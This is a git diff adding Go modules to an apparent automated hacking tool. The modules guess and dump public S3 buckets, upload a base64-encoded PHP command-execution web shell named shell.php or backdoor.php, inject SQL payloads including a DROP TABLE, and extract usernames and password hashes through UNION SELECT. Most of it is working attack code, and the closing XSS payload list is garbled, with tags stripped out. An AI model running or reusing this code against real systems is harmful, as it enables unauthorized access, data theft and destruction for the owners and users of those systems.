"-static", name + "-media", name + "-uploads", + name + "-dev", name + "-test", name + "-staging", + name + "-prod", name + "-logs", name + "-config", + name + "-db", name + "-database", name + "-storage", + domain, strings.ReplaceAll(domain, ".", "-"), + "dev-" + name, "prod-" + name, "test-" + name, + "backup-" + name, "data-" + name, "static-" + name, + } + + caps := kb.GetCapabilities() + for _, c := range caps { + if c.Name == "has_subdomain" && c.Details != nil { + if list, ok := c.Details["list"]; ok { + for _, sd := range strings.Split(list, ", ") { + sd = strings.TrimSpace(sd) + sdName := strings.Split(sd, ".")[0] + sdPatterns := []string{ + sdName, sdName + "-backup", sdName + "-data", + sdName + "-static", sdName + "-assets", + } + for _, p := range sdPatterns { + if !seen[p] { + candidates = append(candidates, p) + seen[p] = true + } + } + } + } + } + } + + for _, p := range patterns { + if !seen[p] { + candidates = append(candidates, p) + seen[p] = true + } + } + + return candidates +} + +func isPublicBucket(resp *types.Response) bool { + if resp.StatusCode == 200 || resp.StatusCode == 301 || resp.StatusCode == 307 { + body := string(resp.Body) + lowBody := strings.ToLower(body) + if strings.Contains(lowBody, "listbucketresult") || + strings.Contains(lowBody, "contents") || + strings.Contains(lowBody, "") || + strings.Contains(lowBody, "") || + strings.Contains(lowBody, "anonymous") { + return true + } + if !strings.Contains(lowBody, "accessdenied") && + !strings.Contains(lowBody, "access denied") && + !strings.Contains(lowBody, "notfound") { + // Possible directory listing + if len(resp.Body) > 100 && len(resp.Body) < 100000 { + return true + } + } + } + return false +} + +func extractBucketName(bucketURL string) string { + // https://bucket-name.s3.amazonaws.com + trimmed := strings.TrimPrefix(bucketURL, "https://") + trimmed = strings.TrimPrefix(trimmed, "http://") + parts := strings.SplitN(trimmed, ".", 2) + if len(parts) > 0 { + return parts[0] + } + return bucketURL +} diff --git a/internal/hacker/s3_exploit.go b/internal/hacker/s3_exploit.go new file mode 100644 index 0000000..7896b62 --- /dev/null +++ b/internal/hacker/s3_exploit.go @@ -0,0 +1,127 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type S3DumpAction struct { + bucketURL string + bucket string +} + +func (a *S3DumpAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "S3 Bucket Dumper", + Description: "List and download contents of public S3 bucket", + Priority: 61, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +func (a *S3DumpAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + listURL := a.bucketURL + "/?list-type=2" + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: listURL, + }) + if err != nil { + return ActionResult{} + } + + body := string(resp.Body) + if !strings.Contains(body, "") && !strings.Contains(body, "") { + return ActionResult{} + } + + files := extractBucketFiles(body) + if len(files) == 0 { + return ActionResult{} + } + + var fileList strings.Builder + fileList.WriteString(fmt.Sprintf("S3 Bucket: %s\n", a.bucketURL)) + fileList.WriteString(fmt.Sprintf("Files: %d\n", len(files))) + fileList.WriteString(strings.Repeat("-", 50) + "\n") + + for _, f := range files { + fileList.WriteString(f + "\n") + } + fileList.WriteString("\n") + + fileListPath := kb.ReportDir.Save("s3_dump", "file_listing.txt", []byte(fileList.String())) + findings = append(findings, Finding{ + Type: "s3_listing", + Name: fmt.Sprintf("S3 bucket listing: %d files", len(files)), + Severity: SevCritical, + Description: fmt.Sprintf("Bucket %s has %d files", a.bucket, len(files)), + Evidence: fileListPath, + }) + + for _, f := range files[:minInt(10, len(files))] { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + fileURL := a.bucketURL + "/" + f + fileResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: fileURL, + }) + if err != nil { + continue + } + + if len(fileResp.Body) > 0 { + savedPath := kb.ReportDir.Save("s3_dump", "file_"+sanitizeFilename(f), fileResp.Body) + findings = append(findings, Finding{ + Type: "s3_file_downloaded", + Name: fmt.Sprintf("S3 file: %s", f), + Severity: SevHigh, + Description: fmt.Sprintf("Downloaded %s (%d bytes)", f, len(fileResp.Body)), + Evidence: savedPath, + }) + } + } + + return ActionResult{Findings: findings} +} + +func extractBucketFiles(xmlBody string) []string { + var files []string + content := xmlBody + for { + keyStart := strings.Index(content, "") + if keyStart == -1 { + break + } + keyEnd := strings.Index(content[keyStart:], "") + if keyEnd == -1 { + break + } + key := content[keyStart+5 : keyStart+keyEnd] + key = strings.TrimSpace(key) + if key != "" && !strings.HasSuffix(key, "/") { + files = append(files, key) + } + content = content[keyStart+keyEnd+6:] + } + return files +} + +func sanitizeFilename(name string) string { + name = strings.ReplaceAll(name, "/", "_") + name = strings.ReplaceAll(name, "\\", "_") + name = strings.ReplaceAll(name, "..", "_") + name = strings.ReplaceAll(name, ":", "_") + return name +} diff --git a/internal/hacker/session.go b/internal/hacker/session.go new file mode 100644 index 0000000..81cbfbb --- /dev/null +++ b/internal/hacker/session.go @@ -0,0 +1,93 @@ +package hacker + +import ( + "net/http" + "sync" +) + +type SessionManager struct { + mu sync.RWMutex + cookies []*http.Cookie + headers map[string]string + tokens []string + activeJWT string +} + +func NewSessionManager() *SessionManager { + return &SessionManager{ + headers: make(map[string]string), + } +} + +func (sm *SessionManager) AddCookies(cookies []*http.Cookie) { + sm.mu.Lock() + defer sm.mu.Unlock() + for _, c := range cookies { + if c.Value == "" { + continue + } + existing := false + for i, existingCookie := range sm.cookies { + if existingCookie.Name == c.Name && existingCookie.Domain == c.Domain { + sm.cookies[i] = c + existing = true + break + } + } + if !existing { + sm.cookies = append(sm.cookies, c) + } + } +} + +func (sm *SessionManager) SetHeader(key, value string) { + sm.mu.Lock() + defer sm.mu.Unlock() + sm.headers[key] = value +} + +func (sm *SessionManager) AddToken(tok string) { + sm.mu.Lock() + defer sm.mu.Unlock() + for _, t := range sm.tokens { + if t == tok { + return + } + } + sm.tokens = append(sm.tokens, tok) + if len(sm.tokens) == 1 { + sm.activeJWT = tok + } +} + +func (sm *SessionManager) SetActiveJWT(tok string) { + sm.mu.Lock() + defer sm.mu.Unlock() + sm.activeJWT = tok +} + +func (sm *SessionManager) GetActiveJWT() string { + sm.mu.RLock() + defer sm.mu.RUnlock() + return sm.activeJWT +} + +func (sm *SessionManager) HasSession() bool { + sm.mu.RLock() + defer sm.mu.RUnlock() + return len(sm.cookies) > 0 || len(sm.tokens) > 0 +} + +func (sm *SessionManager) Apply(req *http.Request) { + sm.mu.RLock() + defer sm.mu.RUnlock() + for _, c := range sm.cookies { + req.AddCookie(c) + } + for k, v := range sm.headers { + req.Header.Set(k, v) + } + if sm.activeJWT != "" { + req.Header.Set("Authorization", "Bearer "+sm.activeJWT) + } +} diff --git a/internal/hacker/shell_exploit.go b/internal/hacker/shell_exploit.go new file mode 100644 index 0000000..abbe51a --- /dev/null +++ b/internal/hacker/shell_exploit.go @@ -0,0 +1,114 @@ +package hacker + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type WebShellAction struct { + vulnURL string + uploadURL string + filename string + fileType string +} + +func (a *WebShellAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "Web Shell Deploy", + Description: "Upload webshell and establish persistent access", + Priority: 76, + Requires: []string{}, + Provides: []string{"has_rce", "has_shell"}, + } +} + +var phpShellB64 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+" + +func (a *WebShellAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + + phpShell, _ := base64.StdEncoding.DecodeString(phpShellB64) + + filenames := []string{ + a.filename, + a.filename + ".php", + "shell.php", + "backdoor.php", + "cmd.php", + "uploads/shell.php", + } + + for _, fname := range filenames { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings} + default: + } + + resp, err := client.Do(ctx, &types.Request{ + Method: "POST", + URL: a.vulnURL, + Body: phpShell, + Headers: map[string]string{ + "Content-Disposition": fmt.Sprintf(`form-data; name="file"; filename="%s"`, fname), + "Content-Type": "application/x-php", + }, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if resp.StatusCode == 200 || resp.StatusCode == 201 || resp.StatusCode == 302 { + if !strings.Contains(strings.ToLower(body), "error") && !strings.Contains(strings.ToLower(body), "invalid") { + + shellURL := a.uploadURL + "/" + fname + + verifyResp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: shellURL, + }) + if err == nil && verifyResp.StatusCode == 200 { + savedPath := kb.ReportDir.Save("shells", fname+".php", phpShell) + findings = append(findings, Finding{ + Type: "webshell_deployed", + Name: "Web shell deployed — RCE confirmed", + Severity: SevCritical, + Description: fmt.Sprintf("Shell at %s?cmd=whoami", shellURL), + Evidence: savedPath, + }) + + kb.AddCapability(Capability{ + Name: "has_rce", + Target: target, + }) + kb.AddCapability(Capability{ + Name: "has_shell", + Target: target, + }) + + whoamiURL := shellURL + "?cmd=whoami" + whoamiResp, _ := client.Do(ctx, &types.Request{Method: "GET", URL: whoamiURL}) + if whoamiResp != nil && len(whoamiResp.Body) > 0 { + findings = append(findings, Finding{ + Type: "rce_whoami", + Name: "RCE: whoami executed via web shell", + Severity: SevCritical, + Description: string(whoamiResp.Body), + Evidence: whoamiURL, + }) + } + + return ActionResult{Findings: findings} + } + } + } + } + + return ActionResult{Findings: findings} +} diff --git a/internal/hacker/sqli.go b/internal/hacker/sqli.go new file mode 100644 index 0000000..35c2fd1 --- /dev/null +++ b/internal/hacker/sqli.go @@ -0,0 +1,203 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type SQLiAction struct{} + +func (a *SQLiAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "SQL Injection", + Description: "Error-based + time-based SQL injection detection", + Priority: 50, + Requires: []string{"has_sqli"}, + Provides: []string{"has_sqli_exploit"}, + } +} + +var sqliPayloads = []struct { + name string + payload string +}{ + {"Single quote", "'"}, + {"Double quote", "\""}, + {"SQL comment", "'--"}, + {"SQL comment #", "'#"}, + {"OR true", "' OR '1'='1"}, + {"OR true 2", "' OR 1=1--"}, + {"OR true 3", "OR 1=1"}, + {"OR true 4", "1' OR '1'='1"}, + {"AND true", "' AND '1'='1"}, + {"UNION select", "' UNION SELECT NULL--"}, + {"UNION select 2", "' UNION SELECT 1,2,3--"}, + {"UNION all", "' UNION ALL SELECT NULL--"}, + {"Admin bypass 1", "' OR '1'='1' --"}, + {"Admin bypass 2", "admin' --"}, + {"Admin bypass 3", "admin' #"}, + {"Time sleep 5", "' OR SLEEP(5)--"}, + {"Time sleep 5 pg", "' OR pg_sleep(5)--"}, + {"Time waitfor", "'; WAITFOR DELAY '0:0:5'--"}, + {"Stacked query", "'; DROP TABLE users--"}, + {"Order by", "' ORDER BY 1--"}, + {"Group by", "' GROUP BY 1--"}, + {"Having", "' HAVING 1=1--"}, +} + +var sqliErrors = []string{ + "SQL syntax", "mysql_fetch", "ORA-", "Oracle", "SQLite", + "PostgreSQL", "unclosed quotation mark", "Incorrect syntax", + "Warning: mysql", "Division by zero", "Syntax error", + "Microsoft OLE DB", "Invalid query", "mysql_result", + "pg_query", "SQLITE_ERROR", "sqlite3", "ODBC", + "SQL command not properly", "DB2", "Firebird", +} + +func (a *SQLiAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var findings []Finding + var spawned []Action + + endpoints := kb.GetEndpoints() + if len(endpoints) == 0 { + pages := kb.GetPages() + for _, p := range pages { + if strings.Contains(p.URL, "?") { + for _, param := range extractURLParams(p.URL) { + result := testParam(ctx, client, p.URL, param) + if result != nil { + findings = append(findings, *result) + } + } + } + } + } + + for _, ep := range endpoints { + for _, param := range commonSQLiParams { + testURL := ep.Path + if strings.Contains(testURL, "?") { + testURL += "&" + param + "=1" + } else { + testURL += "?" + param + "=1" + } + + for _, p := range sqliPayloads { + select { + case <-ctx.Done(): + return ActionResult{Findings: findings, Actions: spawned} + default: + } + + payloadURL := strings.Replace(testURL, "=1", "="+p.payload, 1) + resp, err := client.Do(ctx, &types.Request{ + Method: "GET", + URL: payloadURL, + }) + if err != nil { + continue + } + + body := string(resp.Body) + if hasSQLError(body) { + findings = append(findings, Finding{ + Type: "sqli_error", + Name: fmt.Sprintf("SQLi: %s via param %s", p.name, param), + Severity: SevHigh, + Description: fmt.Sprintf("Database error detected with payload: %s", p.payload), + Evidence: fmt.Sprintf("URL: %s", payloadURL), + }) + + spawned = append(spawned, &SQLiDataExtractAction{ + vulnURL: payloadURL, + param: param, + payload: p.payload, + }) + break + } + + if strings.Contains(p.name, "Time sleep") { + start := time.Now() + client.Do(ctx, &types.Request{Method: "GET", URL: payloadURL}) + if time.Since(start) >= 4*time.Second { + findings = append(findings, Finding{ + Type: "sqli_time", + Name: fmt.Sprintf("SQLi Time-Based: %s via %s", p.name, param), + Severity: SevCritical, + Description: fmt.Sprintf("Response delayed by %v", time.Since(start)), + Evidence: payloadURL, + }) + + spawned = append(spawned, &SQLiDataExtractAction{ + vulnURL: payloadURL, + param: param, + payload: p.payload, + }) + break + } + } + } + } + } + + return ActionResult{Findings: findings, Actions: spawned} +} + +var commonSQLiParams = []string{ + "id", "user_id", "userId", "user", "uid", "username", + "page", "p", "cat", "category", "product", "prod", + "order", "sort", "search", "q", "s", "query", + "file", "path", "dir", "action", "cmd", + "email", "pass", "url", "redirect", +} + +func hasSQLError(body string) bool { + lowBody := strings.ToLower(body) + for _, err := range sqliErrors { + if strings.Contains(lowBody, strings.ToLower(err)) { + return true + } + } + return false +} + +func extractURLParams(urlStr string) []string { + var params []string + if strings.Contains(urlStr, "?") { + parts := strings.SplitN(urlStr, "?", 2) + for _, pair := range strings.Split(parts[1], "&") { + kv := strings.SplitN(pair, "=", 2) + if len(kv) == 2 && len(kv[0]) > 0 { + params = append(params, kv[0]) + } + } + } + return params +} + +func testParam(ctx context.Context, client *transport.Client, url, param string) *Finding { + testPayload := "' OR '1'='1" + base := strings.SplitN(url, "?", 2) + testURL := base[0] + "?" + param + "=" + testPayload + + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + return nil + } + + if hasSQLError(string(resp.Body)) { + return &Finding{ + Type: "sqli_error", + Name: fmt.Sprintf("SQLi in param: %s", param), + Severity: SevHigh, + Description: fmt.Sprintf("SQL error detected with: %s", testPayload), + Evidence: testURL, + } + } + return nil +} diff --git a/internal/hacker/sqli_exploit.go b/internal/hacker/sqli_exploit.go new file mode 100644 index 0000000..ed2bedf --- /dev/null +++ b/internal/hacker/sqli_exploit.go @@ -0,0 +1,336 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type SQLiDataExtractAction struct { + vulnURL string + param string + payload string +} + +func (a *SQLiDataExtractAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "SQLi Data Extraction", + Description: "UNION SELECT — enumerate columns, tables, dump users", + Priority: 51, + Requires: []string{}, + Provides: []string{"data_extracted"}, + } +} + +func (a *SQLiDataExtractAction) Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult { + var allOutput strings.Builder + allOutput.WriteString(fmt.Sprintf("SQLi Data Extraction Report\n")) + allOutput.WriteString(fmt.Sprintf("URL: %s\n", a.vulnURL)) + allOutput.WriteString(fmt.Sprintf("Param: %s\n", a.param)) + allOutput.WriteString(fmt.Sprintf("Payload: %s\n", a.payload)) + allOutput.WriteString(strings.Repeat("-", 50) + "\n") + + baseURL := a.vulnURL + if idx := strings.Index(baseURL, "="+a.payload); idx > 0 { + baseURL = baseURL[:idx+1] + } + if idx := strings.Index(baseURL, "?"); idx > 0 { + baseURL = baseURL[:idx] + } + + var findings []Finding + colCount := findColumnCount(ctx, client, baseURL, a.param) + if colCount > 0 { + allOutput.WriteString(fmt.Sprintf("Columns: %d\n", colCount)) + findings = append(findings, Finding{ + Type: "sqli_columns", + Name: fmt.Sprintf("SQLi: %d columns detected", colCount), + Severity: SevHigh, + Description: fmt.Sprintf("UNION SELECT with %d columns works", colCount), + }) + + version := extractVersion(ctx, client, baseURL, a.param, colCount) + if version != "" { + allOutput.WriteString(fmt.Sprintf("DB Version: %s\n", version)) + findings = append(findings, Finding{ + Type: "sqli_db_version", + Name: fmt.Sprintf("Database: %s", version), + Severity: SevHigh, + Description: "Database version extracted via SQL injection", + Evidence: version, + }) + } + + tables := extractTables(ctx, client, baseURL, a.param, colCount) + if len(tables) > 0 { + allOutput.WriteString(fmt.Sprintf("Tables: %s\n", strings.Join(tables, ", "))) + userTable := findUserTable(tables) + if userTable != "" { + allOutput.WriteString(fmt.Sprintf("User table: %s\n", userTable)) + columns := extractColumns(ctx, client, baseURL, a.param, colCount, userTable) + if len(columns) > 0 { + allOutput.WriteString(fmt.Sprintf("Columns: %s\n", strings.Join(columns, ", "))) + userData := extractUsers(ctx, client, baseURL, a.param, colCount, userTable, columns) + if len(userData) > 0 { + allOutput.WriteString("USERS DUMPED:\n") + for _, u := range userData { + allOutput.WriteString(fmt.Sprintf(" %s\n", u)) + } + kb.AddCredential(Credential{ + Username: userData[0], + Password: "extracted_from_db", + Source: "sqli", + Valid: false, + }) + findings = append(findings, Finding{ + Type: "sqli_users_dumped", + Name: fmt.Sprintf("Users extracted: %d records", len(userData)), + Severity: SevCritical, + Description: fmt.Sprintf("Dumped %d user records from %s", len(userData), userTable), + Evidence: strings.Join(userData[:minInt(5, len(userData))], ", "), + }) + } + } + } + } + } + + savedPath := kb.ReportDir.Save("sql_dump", "sqli_dump.txt", []byte(allOutput.String())) + findings = append(findings, Finding{ + Type: "sqli_data_saved", + Name: "SQLi data saved to disk", + Severity: SevInfo, + Evidence: savedPath, + }) + + return ActionResult{Findings: findings} +} + +func findColumnCount(ctx context.Context, client *transport.Client, baseURL, param string) int { + for i := 1; i <= 20; i++ { + payload := fmt.Sprintf("' ORDER BY %d--", i) + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(payload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if hasSQLError(body) || resp.StatusCode != 200 { + return i - 1 + } + } + return 0 +} + +func extractVersion(ctx context.Context, client *transport.Client, baseURL, param string, cols int) string { + versionPayloads := []string{ + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("@@version", cols)), + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("version()", cols)), + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("database()", cols)), + } + for _, p := range versionPayloads { + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(p, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if !hasSQLError(body) && len(body) > 20 { + lines := strings.Split(body, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.Contains(line, ".") || strings.Contains(line, "MySQL") || strings.Contains(line, "MariaDB") || strings.Contains(line, "PostgreSQL") || strings.Contains(line, "SQLite") { + return line + } + if len(line) > 3 && len(line) < 100 && strings.ContainsAny(line, "0123456789.") { + return line + } + } + } + } + return "" +} + +func extractTables(ctx context.Context, client *transport.Client, baseURL, param string, cols int) []string { + var allTables []string + + mysqlPayload := fmt.Sprintf("' UNION SELECT group_concat(table_name),%s FROM information_schema.tables WHERE table_schema=database()--", + repeatNulls(cols-1)) + mysqlURL := baseURL + "?" + param + "=" + strings.ReplaceAll(mysqlPayload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: mysqlURL}) + if err == nil { + body := string(resp.Body) + if !hasSQLError(body) { + tables := extractStringsFromBody(body) + allTables = append(allTables, tables...) + } + } + + pgPayload := fmt.Sprintf("' UNION SELECT string_agg(table_name,','),%s FROM information_schema.tables WHERE table_schema='public'--", + repeatNulls(cols-1)) + pgURL := baseURL + "?" + param + "=" + strings.ReplaceAll(pgPayload, " ", "%20") + resp2, err := client.Do(ctx, &types.Request{Method: "GET", URL: pgURL}) + if err == nil { + body := string(resp2.Body) + if !hasSQLError(body) { + tables := extractStringsFromBody(body) + for _, t := range tables { + if !containsStr(allTables, t) { + allTables = append(allTables, t) + } + } + } + } + + return allTables +} + +func findUserTable(tables []string) string { + priority := []string{"users", "user", "logins", "accounts", "members", "customers", "admins", "user_accounts", "wp_users"} + for _, p := range priority { + for _, t := range tables { + if strings.EqualFold(t, p) { + return t + } + } + } + for _, t := range tables { + lowT := strings.ToLower(t) + if strings.Contains(lowT, "user") || strings.Contains(lowT, "login") || strings.Contains(lowT, "account") || strings.Contains(lowT, "member") || strings.Contains(lowT, "admin") || strings.Contains(lowT, "customer") || strings.Contains(lowT, "person") || strings.Contains(lowT, "employee") { + return t + } + } + if len(tables) > 0 { + return tables[0] + } + return "" +} + +func extractColumns(ctx context.Context, client *transport.Client, baseURL, param string, cols int, table string) []string { + var allCols []string + + hexTable := toHex(table) + mysqlPayload := fmt.Sprintf("' UNION SELECT group_concat(column_name),%s FROM information_schema.columns WHERE table_name=0x%s--", + repeatNulls(cols-1), hexTable) + mysqlURL := baseURL + "?" + param + "=" + strings.ReplaceAll(mysqlPayload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: mysqlURL}) + if err == nil { + body := string(resp.Body) + if !hasSQLError(body) { + allCols = extractStringsFromBody(body) + } + } + + return allCols +} + +func extractUsers(ctx context.Context, client *transport.Client, baseURL, param string, cols int, table string, columns []string) []string { + userCol := pickColumn(columns, "username", "user_name", "user", "login", "email", "name", "nickname", "uid") + passCol := pickColumn(columns, "password", "pass", "passwd", "hash", "secret", "token", "auth", "pwd") + + if userCol == "" || passCol == "" { + return nil + } + + payload := fmt.Sprintf("' UNION SELECT group_concat(%s,0x3a,%s),%s FROM %s--", + userCol, passCol, repeatNulls(cols-1), table) + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(payload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + return nil + } + + body := string(resp.Body) + if hasSQLError(body) { + return nil + } + + var users []string + lines := strings.Split(body, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.Contains(line, ":") && len(line) > 3 && len(line) < 500 { + users = append(users, line) + } + } + + return users +} + +func repeatNulls(n int) string { + if n <= 0 { + return "" + } + parts := make([]string, n) + for i := range parts { + parts[i] = "NULL" + } + return strings.Join(parts, ",") +} + +func repeatNullsWithOne(val string, total int) string { + if total <= 1 { + return val + } + parts := make([]string, total) + parts[0] = val + for i := 1; i < total; i++ { + parts[i] = "NULL" + } + return strings.Join(parts, ",") +} + +func extractStringsFromBody(body string) []string { + var items []string + seen := make(map[string]bool) + + body = strings.ReplaceAll(body, "\n", ",") + body = strings.ReplaceAll(body, "\r", "") + body = strings.ReplaceAll(body, " ", ",") + + parts := strings.Split(body, ",") + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" || len(p) > 100 || len(p) < 2 { + continue + } + if strings.ContainsAny(p, "<>{}[]()\"'") { + continue + } + if !seen[p] { + seen[p] = true + items = append(items, p) + } + } + return items +} + +func pickColumn(cols []string, priorities ...string) string { + for _, p := range priorities { + for _, c := range cols { + if strings.EqualFold(c, p) { + return c + } + } + } + for _, c := range cols { + lowC := strings.ToLower(c) + for _, p := range priorities { + if strings.Contains(lowC, strings.ToLower(p)) { + return c + } + } + } + return "" +} + +func toHex(s string) string { + hex := "" + for _, c := range []byte(s) { + hex += fmt.Sprintf("%02x", c) + } + return hex +} diff --git a/internal/hacker/types.go b/internal/hacker/types.go new file mode 100644 index 0000000..56db37e --- /dev/null +++ b/internal/hacker/types.go @@ -0,0 +1,124 @@ +package hacker + +import ( + "context" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type Severity string + +const ( + SevInfo Severity = "info" + SevLow Severity = "low" + SevMedium Severity = "medium" + SevHigh Severity = "high" + SevCritical Severity = "critical" +) + +type Capability struct { + Name string + Target string + Details map[string]string +} + +type Finding struct { + Type string + Name string + Severity Severity + Description string + Evidence string + Details map[string]string +} + +type Credential struct { + Username string + Password string + Source string + Valid bool +} + +type Page struct { + URL string + Title string + Forms int + Links []string + JSFiles []string + BodyLen int + Status int +} + +type Endpoint struct { + Path string + Method string + Status int + BodyLen int + ContentType string +} + +type SessionToken struct { + Token string + Type string + Source string + Valid bool +} + +type ChainStep struct { + Action string + Input string + Output string + Success bool + Impact string + Timestamp time.Time +} + +type AttackChain struct { + Name string + Steps []ChainStep + Impact string + RiskScore float64 + Target string +} + +type ActionMetadata struct { + Name string + Description string + Priority int + Requires []string + Provides []string +} + +type ActionResult struct { + Findings []Finding + Actions []Action +} + +type Action interface { + Metadata() ActionMetadata + Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult +} + +type JWTToken struct { + Raw string + Header map[string]any + Payload map[string]any + Algorithm string + Valid bool + Role string + Subject string +} + +type Report struct { + Target string + Duration time.Duration + Steps int + Impact string + RiskScore float64 + AttackChains []AttackChain + Findings []Finding + Capabilities []Capability + Credentials []Credential + Endpoints []Endpoint + Pages []Page +} diff --git a/internal/hacker/xss.go b/internal/hacker/xss.go new file mode 100644 index 0000000..e55aeb0 --- /dev/null +++ b/internal/hacker/xss.go @@ -0,0 +1,211 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type XSSAction struct{} + +func (a *XSSAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "XSS Injector", + Description: "Context-aware XSS payload delivery — "}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML
", "
"}, + {"HTML ", "click"}, + {"JS eval", "';alert(1);//"}, + {"JS eval2", "\";alert(1);//"}, + {"JS onerror", "onerror=alert(1)"}, + {"URL javascript:", "javascript:alert(1)"}, + {"HTML